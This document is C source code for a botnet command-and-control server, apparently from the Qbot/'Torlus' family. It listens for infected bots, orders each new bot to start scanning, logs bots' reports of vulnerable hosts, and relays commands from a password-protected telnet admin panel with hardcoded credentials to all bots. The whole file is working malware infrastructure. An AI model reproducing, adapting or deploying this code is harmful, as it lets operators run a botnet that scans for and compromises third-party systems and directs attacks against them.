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  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MY_MGM_PROXYP "*(Expl0it)*"
  16. #define MY_MGM_PROXYU "@SINDEN"
  17. #define MY_MGM_LORDP "*(SysCall)*"
  18. #define MY_MGM_LORDU "@SHA"
  19. #define MY_MGM_CHERRYSP "*(Encrypti0n)*"
  20. #define MY_MGM_CHERRYSU "@MUSLE"
  21. #define MY_MGM_SUDOCP "*(bL4cKh4t)*"
  22. #define MY_MGM_SUDOCU "$@GUEST"
  23. #define MY_MGM_PORT 6565
  24.  
  25. #define MAXFDS 1000000 // No way we actually reach this amount. Ever.
  26. char MY_USER_PROXY=0, MY_USER_CHERRYS=0, MY_USER_LORD=0, MY_USER_SUDOC=0;
  27. struct clientdata_t {
  28. uint32_t ip;
  29. char build[7];
  30. char connected;
  31. } clients[MAXFDS];
  32. struct telnetdata_t {
  33. int connected;
  34. } managements[MAXFDS];
  35. static volatile FILE *fileFD;
  36. static volatile int epollFD = 0;
  37. static volatile int listenFD = 0;
  38. static volatile int managesConnected = 0;
  39. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  40. {
  41. int total = 0, got = 1;
  42. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  43. return got;
  44. }
  45. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  46. {
  47. int i;
  48. int begin = 0;
  49. int end = strlen(str) - 1;
  50. while (isspace(str[begin])) begin++;
  51. while ((end >= begin) && isspace(str[end])) end--;
  52. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  53. str[i - begin] = '\0';
  54. }
  55.  
  56.  
  57. static int make_socket_non_blocking (int sfd)
  58. { // man fcntl
  59. int flags, s;
  60. flags = fcntl (sfd, F_GETFL, 0);
  61. if (flags == -1)
  62. {
  63. perror ("fcntl");
  64. return -1;
  65. }
  66. flags |= O_NONBLOCK;
  67. /*
  68. F_SETFL (int)
  69. Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are
  70. ignored. On Linux this command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags.
  71. */
  72. s = fcntl (sfd, F_SETFL, flags);
  73. if (s == -1)
  74. {
  75. perror ("fcntl");
  76. return -1;
  77. }
  78. return 0;
  79. }
  80.  
  81.  
  82. static int create_and_bind (char *port)
  83. {
  84. struct addrinfo hints;
  85. struct addrinfo *result, *rp;
  86. int s, sfd;
  87. memset (&hints, 0, sizeof (struct addrinfo));
  88. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  89. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  90. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  91. s = getaddrinfo (NULL, port, &hints, &result);
  92. if (s != 0)
  93. {
  94. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  95. return -1;
  96. }
  97. for (rp = result; rp != NULL; rp = rp->ai_next)
  98. {
  99. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  100. if (sfd == -1) continue;
  101. int yes = 1;
  102. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  103. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  104. if (s == 0)
  105. {
  106. break;
  107. }
  108. close (sfd);
  109. }
  110. if (rp == NULL)
  111. {
  112. fprintf (stderr, "Could not bind\n");
  113. return -1;
  114. }
  115. freeaddrinfo (result);
  116. return sfd;
  117. }
  118. void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
  119. {
  120. int sendMGM = 1;
  121. if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  122. char *wot = malloc(strlen(msg) + 10);
  123. memset(wot, 0, strlen(msg) + 10);
  124. strcpy(wot, msg);
  125. trim(wot);
  126. time_t rawtime;
  127. struct tm * timeinfo;
  128. time(&rawtime);
  129. timeinfo = localtime(&rawtime);
  130. char *timestamp = asctime(timeinfo);
  131. trim(timestamp);
  132. int i;
  133. for(i = 0; i < MAXFDS; i++)
  134. {
  135. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  136. if(sendMGM && managements[i].connected)
  137.  
  138. {
  139.  
  140. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  141.  
  142. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  143.  
  144. send(i, ":\x1b[37m ", 8, MSG_NOSIGNAL);
  145.  
  146. } //just a prompt with a timestamp.
  147. printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  148. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  149. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m> \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  150. else send(i, "\n", 1, MSG_NOSIGNAL);
  151. }
  152. free(wot);
  153. }
  154.  
  155. void *epollEventLoop(void *useless) // the big loop used to control each bot asynchronously. Many threads of this get spawned.
  156. {
  157. struct epoll_event event;
  158. struct epoll_event *events;
  159. int s;
  160. events = calloc (MAXFDS, sizeof event);
  161. while (1)
  162. {
  163. int n, i;
  164. n = epoll_wait (epollFD, events, MAXFDS, -1);
  165. for (i = 0; i < n; i++)
  166. {
  167. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  168. {
  169. clients[events[i].data.fd].connected = 0;
  170. close(events[i].data.fd);
  171. continue;
  172. }
  173. else if (listenFD == events[i].data.fd)
  174. {
  175. while (1)
  176. {
  177. struct sockaddr in_addr;
  178. socklen_t in_len;
  179. int infd, ipIndex;
  180.  
  181. in_len = sizeof in_addr;
  182. infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  183. if (infd == -1)
  184. {
  185. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  186. else
  187. {
  188. perror ("accept");
  189. break;
  190. }
  191. }
  192.  
  193. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  194.  
  195. int dup = 0;
  196. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  197. {
  198. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  199.  
  200. if(clients[ipIndex].ip == clients[infd].ip)
  201. {
  202. dup = 1;
  203. break;
  204. }
  205. }
  206.  
  207. if(dup)
  208. {
  209. printf("dup client\n"); // warns the operator on command line
  210. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  211. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  212. close(infd);
  213. continue;
  214. }
  215.  
  216. s = make_socket_non_blocking (infd);
  217. if (s == -1) { close(infd); break; }
  218.  
  219. event.data.fd = infd;
  220. event.events = EPOLLIN | EPOLLET;
  221. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  222. if (s == -1)
  223. {
  224. perror ("epoll_ctl");
  225. close(infd);
  226. break;
  227. }
  228.  
  229. clients[infd].connected = 1;
  230. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  231. }
  232. continue;
  233. }
  234. else
  235. {
  236. int thefd = events[i].data.fd;
  237. struct clientdata_t *client = &(clients[thefd]);
  238. int done = 0;
  239. client->connected = 1;
  240. while (1)
  241. {
  242. ssize_t count;
  243. char buf[2048];
  244. memset(buf, 0, sizeof buf);
  245.  
  246. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  247. {
  248. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  249. trim(buf);
  250. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  251. {
  252. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  253. continue;
  254. }
  255. if(strstr(buf, "BUILD ") == buf)
  256. {
  257. char *build = strstr(buf, "BUILD ") + 6;
  258. if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  259. memset(client->build, 0, 7);
  260. strcpy(client->build, build);
  261. continue;
  262. }
  263. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  264. {
  265. char *line = strstr(buf, "REPORT ") + 7;
  266. fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  267. fflush(fileFD);
  268. //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  269. continue;
  270. }
  271. if(strcmp(buf, "PONG") == 0)
  272. {
  273. //should really add some checking or something but meh
  274. continue;
  275. }
  276.  
  277. printf("buf: \"%s\"\n", buf);
  278. }
  279.  
  280. if (count == -1)
  281. {
  282. if (errno != EAGAIN)
  283. {
  284. done = 1;
  285. }
  286. break;
  287. }
  288. else if (count == 0)
  289. {
  290. done = 1;
  291. break;
  292. }
  293. }
  294.  
  295. if (done)
  296. {
  297. client->connected = 0;
  298. close(thefd);
  299. }
  300. }
  301. }
  302. }
  303. }
  304.  
  305. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  306. {
  307. int i = 0, total = 0;
  308. for(i = 0; i < MAXFDS; i++)
  309. {
  310. if(!clients[i].connected) continue;
  311. total++;
  312. }
  313.  
  314. return total;
  315. }
  316.  
  317. void *titleWriter(void *sock) // just an informational banner
  318. {
  319. // this LOOKS vulnerable, but it's actually not.
  320. // there's no way we can have 2000 digits' worth of clients/bots connected to overflow that char array
  321. int thefd = (int)sock;
  322. char string[2048];
  323. while(1)
  324. {
  325. memset(string, 0, 2048);
  326. sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  327. // \007 is a bell character... causes a beep. Why is there a beep here?
  328. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  329.  
  330. sleep(2);
  331. }
  332. }
  333.  
  334.  
  335. void *telnetWorker(void *sock)
  336. {
  337. int thefd = (int)sock;
  338. managesConnected++;
  339. pthread_t title;
  340. char buf[2048];
  341. char* nickstring;
  342. memset(buf, 0, sizeof buf);
  343.  
  344. if(send(thefd, "\x1b[32mNickname:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  345. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  346. trim(buf);
  347. nickstring = ("%s", buf);
  348. if(strcmp(nickstring, MY_MGM_PROXYU) == 0){
  349. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  350. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  351. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  352. trim(buf);
  353. if(strcmp(buf, MY_MGM_PROXYP) != 0) goto failed;
  354. memset(buf, 0, 2048);
  355. goto fak;
  356. }
  357. else if(strcmp(nickstring, MY_MGM_CHERRYSU) == 0){
  358. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  359. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  360. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  361. trim(buf);
  362. if(strcmp(buf, MY_MGM_CHERRYSP) != 0) goto failed;
  363. memset(buf, 0, 2048);
  364. goto fak;
  365. }
  366. else if(strcmp(nickstring, MY_MGM_LORDU) == 0){
  367. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  368. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  369. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  370. trim(buf);
  371. if(strcmp(buf, MY_MGM_LORDP) != 0) goto failed;
  372. memset(buf, 0, 2048);
  373. goto fak;
  374. }
  375. else if(strcmp(nickstring, MY_MGM_SUDOCU) == 0){
  376. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  377. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  378. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  379. trim(buf);
  380. if(strcmp(buf, MY_MGM_SUDOCP) != 0) goto failed;
  381. memset(buf, 0, 2048);
  382. goto fak;
  383. }
  384. else if(strcmp(nickstring, MY_MGM_SUDOCU) != 0 || strcmp(nickstring, MY_MGM_PROXYU) != 0 || strcmp(nickstring, MY_MGM_CHERRYSU) != 0 || strcmp(nickstring, MY_MGM_LORDU) != 0 ){
  385. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  386. if(send(thefd, "\x1b[31m* INVALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  387. goto end;
  388. }
  389. failed:
  390. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  391. if(send(thefd, "\x1b[31m* INVALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  392. goto end;
  393. fak:
  394. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  395. pthread_create(&title, NULL, &titleWriter, sock); /* writes the informational banner to the admin after a login */
  396. if(send(thefd, "\x1b[1m\x1b[36m*****************************************\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  397. if(send(thefd, "* \x1b[37mWELCOME TO THE TORLUS\x1b[36m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  398. if(send(thefd, "* \x1b[37mIn Secrecy We Trust\x1b[36m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  399. if(send(thefd, "*****************************************\r\n\r\n\x1b[36m> \x1b[37m", 59, MSG_NOSIGNAL) == -1) goto end;
  400. /* If we can't send the useless banner, kill ourselves! Amazing error handling! */
  401. managements[thefd].connected = 1;
  402. while(fdgets(buf, sizeof buf, thefd) > 0)
  403. {
  404. trim(buf);
  405. if(send(thefd, "\x1b[36m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  406. if(strlen(buf) == 0) continue;
  407. printf("management: \"%s\"\n", buf);
  408. broadcast(buf, thefd); // take a command, send it to the bots
  409. memset(buf, 0, 2048);
  410. }
  411.  
  412. end: // cleanup dead socket
  413. managements[thefd].connected = 0;
  414. close(thefd);
  415. managesConnected--;
  416. }
  417.  
  418. void *telnetListener(void *useless)
  419. {
  420. int sockfd, newsockfd;
  421. socklen_t clilen;
  422. struct sockaddr_in serv_addr, cli_addr;
  423. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  424. if (sockfd < 0) perror("ERROR opening socket");
  425. bzero((char *) &serv_addr, sizeof(serv_addr));
  426. serv_addr.sin_family = AF_INET;
  427. serv_addr.sin_addr.s_addr = INADDR_ANY;
  428. serv_addr.sin_port = htons(MY_MGM_PORT);
  429. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  430. listen(sockfd,5);
  431. clilen = sizeof(cli_addr);
  432. while(1)
  433. {
  434. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  435. if (newsockfd < 0) perror("ERROR on accept");
  436. pthread_t thread;
  437. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  438. }
  439. }
  440.  
  441. int main (int argc, char *argv[])
  442. {
  443. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  444.  
  445. int s, threads;
  446. struct epoll_event event;
  447.  
  448. if (argc != 3)
  449. {
  450. fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  451. exit (EXIT_FAILURE);
  452. }
  453. fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
  454. threads = atoi(argv[2]);
  455.  
  456. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  457. if (listenFD == -1) abort ();
  458.  
  459. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  460. if (s == -1) abort ();
  461.  
  462.  
  463. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  464. if (s == -1)
  465. {
  466. perror ("listen");
  467. abort ();
  468. }
  469.  
  470. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  471. if (epollFD == -1)
  472. {
  473. perror ("epoll_create");
  474. abort ();
  475. }
  476.  
  477. event.data.fd = listenFD;
  478. event.events = EPOLLIN | EPOLLET;
  479. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  480. if (s == -1)
  481. {
  482. perror ("epoll_ctl");
  483. abort ();
  484. }
  485.  
  486. pthread_t thread[threads + 2];
  487. while(threads--)
  488. {
  489. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  490. }
  491.  
  492. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  493.  
  494. while(1)
  495. {
  496. broadcast("PING", -1); // ping bots every 60 sec on the main thread
  497.  
  498. sleep(60);
  499. }
  500.  
  501. close (listenFD);
  502.  
  503. return EXIT_SUCCESS;
  504. }
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